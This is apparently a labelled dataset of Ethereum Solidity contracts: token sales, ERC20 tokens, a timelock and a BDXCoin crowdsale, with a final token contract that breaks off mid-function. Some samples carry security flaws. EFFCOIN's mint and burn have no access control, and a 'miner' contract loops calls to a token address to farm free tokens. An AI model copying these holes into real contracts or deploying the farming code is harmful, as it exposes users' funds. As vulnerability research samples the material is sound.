promoMap[promoPublicKey].enable = false;
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function() public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public whenNotPaused payable {
require(startTime <= now && now <= endTime);
uint weiAmount = msg.value;
require(weiAmount >= minInvest);
uint tokenAmountEnable = tokensLimit.sub(tokensSold);
require(tokenAmountEnable > 0);
uint tokenAmount = weiAmount / price * 1 ether;
if (tokenAmount > tokenAmountEnable) {
tokenAmount = tokenAmountEnable;
weiAmount = tokenAmount * price / 1 ether;
msg.sender.transfer(msg.value.sub(weiAmount));
if (msg.data.length > 0) {
Promo storage promo = promoMap[sha3(msg.data)];
if (promo.enable && promo.dealerPercentETH > 0) {
uint dealerEthAmount = weiAmount * promo.dealerPercentETH / 10000;
promo.dealer.transfer(dealerEthAmount);
weiAmount = weiAmount.sub(dealerEthAmount);
promo.dealerEthAmount += dealerEthAmount;
}
}
}
else {
uint countBonusAmount = tokenAmount * getCountBonus(weiAmount) / 1000;
uint timeBonusAmount = tokenAmount * getTimeBonus(now) / 1000;
if (msg.data.length > 0) {
bytes32 promoPublicKey = sha3(msg.data);
promo = promoMap[promoPublicKey];
if (promo.enable) {
promo.buyCount++;
promo.investorTokenAmount += tokenAmount;
promo.investorEthAmount += weiAmount;
if (promo.dealerPercentToken > 0) {
uint dealerTokenAmount = tokenAmount * promo.dealerPercentToken / 10000;
sendTokens(promo.dealer, dealerTokenAmount);
promo.dealerTokenAmount += dealerTokenAmount;
}
if (promo.dealerPercentETH > 0) {
dealerEthAmount = weiAmount * promo.dealerPercentETH / 10000;
promo.dealer.transfer(dealerEthAmount);
weiAmount = weiAmount.sub(dealerEthAmount);
promo.dealerEthAmount += dealerEthAmount;
}
if (promo.investorPercentToken > 0) {
uint promoBonusAmount = tokenAmount * promo.investorPercentToken / 10000;
tokenAmount += promoBonusAmount;
}
}
}
tokenAmount += countBonusAmount + timeBonusAmount;
if (tokenAmount > tokenAmountEnable) {
tokenAmount = tokenAmountEnable;
}
}
if (purchaseTokens[beneficiary] == 0) investorCount++;
purchaseTokens[beneficiary] = purchaseTokens[beneficiary].add(tokenAmount);
sendTokens(beneficiary, tokenAmount);
weiRaised = weiRaised.add(weiAmount);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokenAmount);
}
function sendTokens(address to, uint tokenAmount) private {
if (isHoldTokens) {
if (holdTokens[to] == 0) holdTokenInvestors.push(to);
holdTokens[to] = holdTokens[to].add(tokenAmount);
}
else {
require(token.transferFrom(tokenWallet, to, tokenAmount));
}
tokensSold = tokensSold.add(tokenAmount);
}
uint[] etherForCountBonus = [2 ether, 3 ether, 5 ether, 7 ether, 9 ether, 12 ether, 15 ether, 20 ether, 25 ether, 30 ether, 35 ether, 40 ether, 45 ether, 50 ether, 60 ether, 70 ether, 80 ether, 90 ether, 100 ether, 120 ether, 150 ether, 200 ether, 250 ether, 300 ether, 350 ether, 400 ether, 450 ether, 500 ether];
uint[] amountForCountBonus = [0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70, 75, 80, 90, 100, 105, 110, 115, 120, 125, 130, 135, 140, 145, 150];
function getCountBonus(uint weiAmount) public constant returns (uint) {
for (uint i = 0; i < etherForCountBonus.length; i++) {
if (weiAmount < etherForCountBonus[i]) return amountForCountBonus[i];
}
return amountForCountBonus[amountForCountBonus.length - 1];
}
function getTimeBonus(uint time) public constant returns (uint) {
if (time < startTime + 604800) return 250;
if (time < startTime + 604800) return 200;
if (time < startTime + 259200) return 100;
return 0;
}
function withdrawal(address to) public onlyOwner {
to.transfer(this.balance);
}
function holdTokenInvestorsCount() public constant returns(uint){
return holdTokenInvestors.length;
}
uint public sendInvestorIndex = 0;
function finalSendTokens() public onlyOwner {
isHoldTokens = false;
for (uint i = sendInvestorIndex; i < holdTokenInvestors.length; i++) {
address investor = holdTokenInvestors[i];
uint tokenAmount = holdTokens[investor];
if (tokenAmount > 0) {
holdTokens[investor] = 0;
require(token.transferFrom(tokenWallet, investor, tokenAmount));
}
if (msg.gas < 100000) {
sendInvestorIndex = i;
return;
}
}
sendInvestorIndex = holdTokenInvestors.length;
}
} | 0 | 2,250 |
pragma solidity ^0.4.24;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
}
contract EFFCOIN is ERC20Interface{
string public name = "EFF COIN";
string public symbol = "EFF";
uint public decimals = 8;
uint public supply;
address public founder;
mapping(address => uint) public balances;
event Transfer(address indexed from, address indexed to, uint tokens);
constructor() public{
supply = 10000000000000000;
founder = msg.sender;
balances[founder] = supply;
}
function totalSupply() public view returns (uint){
return supply;
}
function balanceOf(address tokenOwner) public view returns (uint balance){
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success){
require(balances[msg.sender] >= tokens && tokens > 0);
balances[to] += tokens;
balances[msg.sender] -= tokens;
emit Transfer(msg.sender, to, tokens);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[founder] >= _value);
balances[founder] -= _value;
supply -= _value;
return true;
}
function mint(uint256 _value) public returns (bool success) {
require(balances[founder] >= _value);
balances[founder] += _value;
supply += _value;
return true;
}
} | 1 | 4,523 |
pragma solidity >=0.7.0 <0.9.0;
interface evo {
function getTokens() external;
function transfer(address to, uint256 amount) external;
function balanceOf(address owner) external view returns (uint256);
}
contract miner {
address public owner;
address public EVO;
constructor() public {owner = msg.sender; EVO = 0x3fEa51dAab1672d3385f6AF02980e1462cA0687b;}
function mineNow(uint256 times) public {
for(uint256 i=0;i<times;i++) EVO.call{value:0,gas:gasleft()}("");
}
function withdraw() public {
evo(EVO).transfer(owner,evo(EVO).balanceOf(address(this)));
}
} | 0 | 2,283 |
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
IERC20 private _token;
address private _beneficiary;
uint256 private _releaseTime;
constructor (IERC20 token, address beneficiary, uint256 releaseTime) public {
require(releaseTime > block.timestamp);
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
function token() public view returns (IERC20) {
return _token;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
function release() public {
require(block.timestamp >= _releaseTime);
uint256 amount = _token.balanceOf(address(this));
require(amount > 0);
_token.safeTransfer(_beneficiary, amount);
}
} | 0 | 662 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if (!released) {
require(transferAgents[_sender]);
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function transfer(address _to, uint _value) public canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract BDXCoin is BurnableToken, CappedToken, ReleasableToken {
string public constant name = "BDXCoin";
string public constant symbol = "BDX";
uint8 public constant decimals = 18;
function BDXCoin() public
CappedToken(200000000 * (10 ** uint256(decimals)))
{
mint(msg.sender, 90000000 * (10 ** uint256(decimals)));
setReleaseAgent(msg.sender);
setTransferAgent(msg.sender, true);
}
}
contract RateOracle {
address public owner;
uint public rate;
uint256 public lastUpdateTime;
function RateOracle() public {
owner = msg.sender;
}
function setRate(uint _rateCents) public {
require(msg.sender == owner);
require(_rateCents > 100);
rate = _rateCents;
lastUpdateTime = now;
}
}
contract Crowdsale {
using SafeMath for uint256;
StandardToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public totalSalesEurCents;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, StandardToken _token) public {
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
token = _token;
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable;
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return totalSalesEurCents >= goal;
}
}
contract BDXVault is Ownable {
using SafeMath for uint256;
address public tokenAddress;
mapping (address => uint256) public creditedList;
event Credited(address indexed investor, uint256 tokens);
function BDXVault(address _tokenAddress) public {
tokenAddress = _tokenAddress;
}
function credit(address investor, uint256 tokens) onlyOwner public {
require(creditedList[investor] == 0);
creditedList[investor] = creditedList[investor].add(tokens);
BDXCoin token = BDXCoin(tokenAddress);
token.transfer(investor, tokens);
Credited(investor, tokens);
}
}
contract BDXCrowdsale is RefundableCrowdsale {
uint256[3] public icoStartTimes;
uint256[3] public icoEndTimes;
uint256[3] public icoRates;
uint256[3] public icoCaps;
uint256[2] public icoVestingTimes;
uint256[2] public icoVestingTokens;
uint256 public nextVestingStage = 0;
uint256 public bizDevTokenAllocation;
address public bizDevWalletAddress;
uint256 public marketingTokenAllocation;
address public marketingWalletAddress;
bool public contractInitialized = false;
uint public constant MINIMUM_PURCHASE_EUR_CENT = 1900;
mapping(uint256 => uint256) public totalTokensByStage;
mapping(address => uint256) public unsoldTokensBeneficiaries;
bool public refundingComplete = false;
uint256 public refundingIndex = 0;
mapping(address => uint256) public directInvestors;
address[] private directInvestorsCollection;
address public rateOracleAddress;
address public preInvestorsTokenVaultAddress;
uint256 public preInvestorsTokenAllocation;
function BDXCrowdsale(
uint256[3] _icoStartTimes,
uint256[3] _icoEndTimes,
uint256[3] _icoRates,
uint256[3] _icoCaps,
uint256[2] _icoVestingTimes,
uint256[2] _icoVestingTokens,
address _wallet,
uint256 _goal,
uint256 _bizDevTokenAllocation,
address _bizDevWalletAddress,
uint256 _marketingTokenAllocation,
address _marketingWalletAddress,
address _rateOracleAddress,
uint256 _preInvestorsTokenAllocation
) public
Crowdsale(_icoStartTimes[0], _icoEndTimes[2], _icoRates[0], _wallet, new BDXCoin())
RefundableCrowdsale(_goal)
{
require((_icoCaps[0] > 0) && (_icoCaps[1] > 0) && (_icoCaps[2] > 0));
require((_icoRates[0] > 0) && (_icoRates[1] > 0) && (_icoRates[2] > 0));
require((_icoEndTimes[0] > _icoStartTimes[0]) && (_icoEndTimes[1] > _icoStartTimes[1]) && (_icoEndTimes[2] > _icoStartTimes[2]));
require((_icoStartTimes[1] >= _icoEndTimes[0]) && (_icoStartTimes[2] >= _icoEndTimes[1]));
require(_bizDevWalletAddress != owner && _wallet != _bizDevWalletAddress);
require(_marketingWalletAddress != owner && _wallet != _marketingWalletAddress);
icoStartTimes = _icoStartTimes;
icoEndTimes = _icoEndTimes;
icoRates = _icoRates;
icoCaps = _icoCaps;
icoVestingTimes = _icoVestingTimes;
icoVestingTokens = _icoVestingTokens;
bizDevTokenAllocation = _bizDevTokenAllocation;
bizDevWalletAddress = _bizDevWalletAddress;
marketingTokenAllocation = _marketingTokenAllocation;
marketingWalletAddress = _marketingWalletAddress;
rateOracleAddress = _rateOracleAddress;
preInvestorsTokenAllocation = _preInvestorsTokenAllocation;
}
function () external payable {
require(contractInitialized);
buyTokens(msg.sender);
}
function initializeContract() public onlyOwner {
require(!contractInitialized);
preInvestorsTokenVaultAddress = new BDXVault(token);
BDXCoin bdxcoin = BDXCoin(token);
bdxcoin.mint(bizDevWalletAddress, toBDXWEI(bizDevTokenAllocation));
bdxcoin.mint(marketingWalletAddress, toBDXWEI(marketingTokenAllocation));
bdxcoin.mint(preInvestorsTokenVaultAddress, toBDXWEI(preInvestorsTokenAllocation));
bdxcoin.setTransferAgent(bizDevWalletAddress, true);
bdxcoin.setTransferAgent(marketingWalletAddress, true);
bdxcoin.setTransferAgent(preInvestorsTokenVaultAddress, true);
contractInitialized = true;
}
function vestTokens() public onlyOwner {
require(isFinalized);
require(goalReached());
require(nextVestingStage <= 1);
require(now > icoVestingTimes[nextVestingStage]);
BDXCoin bdxcoin = BDXCoin(token);
bdxcoin.mint(bizDevWalletAddress, toBDXWEI(icoVestingTokens[nextVestingStage]));
nextVestingStage = nextVestingStage + 1;
}
function allocateTokens(address beneficiary, uint256 tokensWithDecimals, uint256 stage, uint256 rateEurCents, bool isPreSold) public onlyOwner {
require(stage <= 2);
uint256 saleAmountEurCents = (tokensWithDecimals.mul(rateEurCents)).div(10**18);
totalSalesEurCents = totalSalesEurCents.add(saleAmountEurCents);
if (!isPreSold && saleAmountEurCents > 0) {
totalTokensByStage[stage] = totalTokensByStage[stage].add(tokensWithDecimals);
}
if (isPreSold) {
BDXVault preInvestorsTokenVault = BDXVault(preInvestorsTokenVaultAddress);
preInvestorsTokenVault.credit(beneficiary, tokensWithDecimals);
} else {
token.transfer(beneficiary, tokensWithDecimals);
}
}
function allocateUnsoldTokens(address beneficiary, uint256 tokensWithDecimals) public onlyOwner {
require(isFinalized);
require(goalReached());
require(unsoldTokensBeneficiaries[beneficiary] == 0);
unsoldTokensBeneficiaries[beneficiary] = unsoldTokensBeneficiaries[beneficiary].add(tokensWithDecimals);
token.transfer(beneficiary, tokensWithDecimals);
}
function buyTokens(address beneficiary) public payable {
require(contractInitialized);
require(beneficiary != address(0));
require(validPurchase());
RateOracle rateOracle = RateOracle(rateOracleAddress);
uint ethEurXRate = rateOracle.rate();
require(ethEurXRate > 0);
uint256 currTime = now;
uint256 stageCap = getStageCap(currTime);
rate = getTokenRate(currTime);
uint256 stage = getStage(currTime);
uint256 weiAmount = msg.value;
uint256 eurCentAmount = (weiAmount.mul(ethEurXRate)).div(10**18);
require(eurCentAmount > MINIMUM_PURCHASE_EUR_CENT);
uint256 tokenToGet = (weiAmount.mul(ethEurXRate)).div(rate);
if (totalTokensByStage[stage].add(tokenToGet) > stageCap) {
stage = stage + 1;
rate = getRateByStage(stage);
tokenToGet = (weiAmount.mul(ethEurXRate)).div(rate);
}
totalTokensByStage[stage] = totalTokensByStage[stage].add(tokenToGet);
if (directInvestors[beneficiary] == 0) {
directInvestorsCollection.push(beneficiary);
}
directInvestors[beneficiary] = directInvestors[beneficiary].add(tokenToGet);
totalSalesEurCents = totalSalesEurCents.add(eurCentAmount);
token.transfer(beneficiary, tokenToGet);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokenToGet);
forwardFunds();
}
function ethToEurXRate() public view returns (uint) {
RateOracle rateOracle = RateOracle(rateOracleAddress);
return rateOracle.rate();
}
function goalReached() public view returns (bool) {
return totalSalesEurCents >= goal;
}
function refundInvestors() public onlyOwner {
require(isFinalized);
require(!goalReached());
require(!refundingComplete);
for (uint256 i = 0; i < 20; i++) {
if (refundingIndex >= directInvestorsCollection.length) {
refundingComplete = true;
break;
}
vault.refund(directInvestorsCollection[refundingIndex]);
refundingIndex = refundingIndex.add(1);
}
}
function advanceEndTime(uint256 newEndTime) public onlyOwner {
require(!isFinalized);
require(newEndTime > endTime);
endTime = newEndTime;
}
function getTokenRate(uint256 currTime) public view returns (uint256) {
return getRateByStage(getStage(currTime));
}
function getStageCap(uint256 currTime) public view returns (uint256) {
uint256 additionalTokensFromPreviousStage = 0;
if (getStage(currTime) == 2) {
additionalTokensFromPreviousStage = additionalTokensFromPreviousStage.add(getCapByStage(1) - totalTokensByStage[1]);
additionalTokensFromPreviousStage = additionalTokensFromPreviousStage.add(getCapByStage(0) - totalTokensByStage[0]);
} else if (getStage(currTime) == 1) {
additionalTokensFromPreviousStage = additionalTokensFromPreviousStage.add(getCapByStage(0) - totalTokensByStage[0]);
}
return additionalTokensFromPreviousStage.add(getCapByStage(getStage(currTime)));
}
function getStage(uint256 currTime) public view returns (uint256) {
if (currTime < icoEndTimes[0]) {
return 0;
} else if ((currTime > icoEndTimes[0]) && (currTime <= icoEndTimes[1])) {
return 1;
} else {
return 2;
}
}
function getCapByStage(uint256 stage) public view returns (uint256) {
return icoCaps[stage];
}
function getRateByStage(uint256 stage) public view returns (uint256) {
return icoRates[stage];
}
function toBDXWEI(uint256 value) internal view returns (uint256) {
BDXCoin bdxcoin = BDXCoin(token);
return (value * (10 ** uint256(bdxcoin.decimals())));
}
function finalization() internal {
super.finalization();
if (goalReached()) {
BDXCoin bdxcoin = BDXCoin(token);
bdxcoin.releaseTokenTransfer();
}
}
} | 1 | 5,521 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
